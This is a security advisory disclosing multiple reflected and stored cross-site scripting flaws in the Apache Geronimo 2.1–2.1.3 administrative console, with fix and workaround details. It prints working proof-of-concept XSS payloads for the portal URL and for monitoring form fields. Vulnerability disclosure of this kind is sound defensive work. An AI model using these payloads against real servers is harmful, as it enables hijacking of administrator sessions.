Original advisory http://dsecrg.com/pages/vul/show.php?id=119
Digital Security Research Group [DSecRG] Advisory #DSECRG-09-019
Application: Apache Geronimo Application Server
Versions Affected: 2.1 - 2.1.3
Vendor URL: http://geronimo.apache.org/
Bug: Multiple XSS Vulnerabilities
Exploits: YES
Reported: 10.12.2008
Vendor response: 10.12.2008
Solution: YES
Date of Public Advisory: 16.04.2009
CVE-number: 2009-0038
Author: Digital Security Research Group [DSecRG] (research [at] dsecrg [dot] com)
Description
Geronimo Server Console multiple XSS vulnerabilities.
Various linked and stored cross-site scripting (XSS) vulnerabilities were found in the Apache Geronimo administrative
console and related utilities.
This affects all full JavaEE Geronimo releases or other distributions which include the administration web console up to
and including Geronimo 2.1.3.
Details
Using this vulnerability attacker can steal administrator's cookie and then authentificate as administrator or perform
certain administrative actions.
Attacker can inject XSS in URL string.
Example:
http://[server]/console/portal/"><script>alert('DSecRG XSS')</script><!–
/console/portal/Server/Monitoring
Vulnerable parameters: "name", "ip", "username", "description".
Attacker can inject scripts into monitorings.
Example [Monitoring - Create View]:
name = <script>alert('DSecRG XSS')</script>
description = </textarea><script>alert("DSecRG XSS")</script>
or
http://[server]/console/portal//Server/Monitoring/__ac0x3monitoring0x2monitoring!126896788|0/__pm0x3monitoring0x2monitoring!126896788|0_edit?action=saveAddView&name="><script>alert("DSecRG
XSS")</script>&description=</textarea><script>alert("DSecRG XSS")</script>
Solution
This s
ecurity vulnerabilities fixed in Geronimo 2.1.4 release.
New version of Geronimo 2.1.4 can be downloaded from this location:
http://geronimo.apache.org/downloads.html
An alternative workaround (if you choose to not upgrade to Apache Geronimo 2.1.4) would be to stop or undeploy the
administration web console application in the server.
Credits
http://geronimo.apache.org/21x-security-report.html#2.1.xSecurityReport-214
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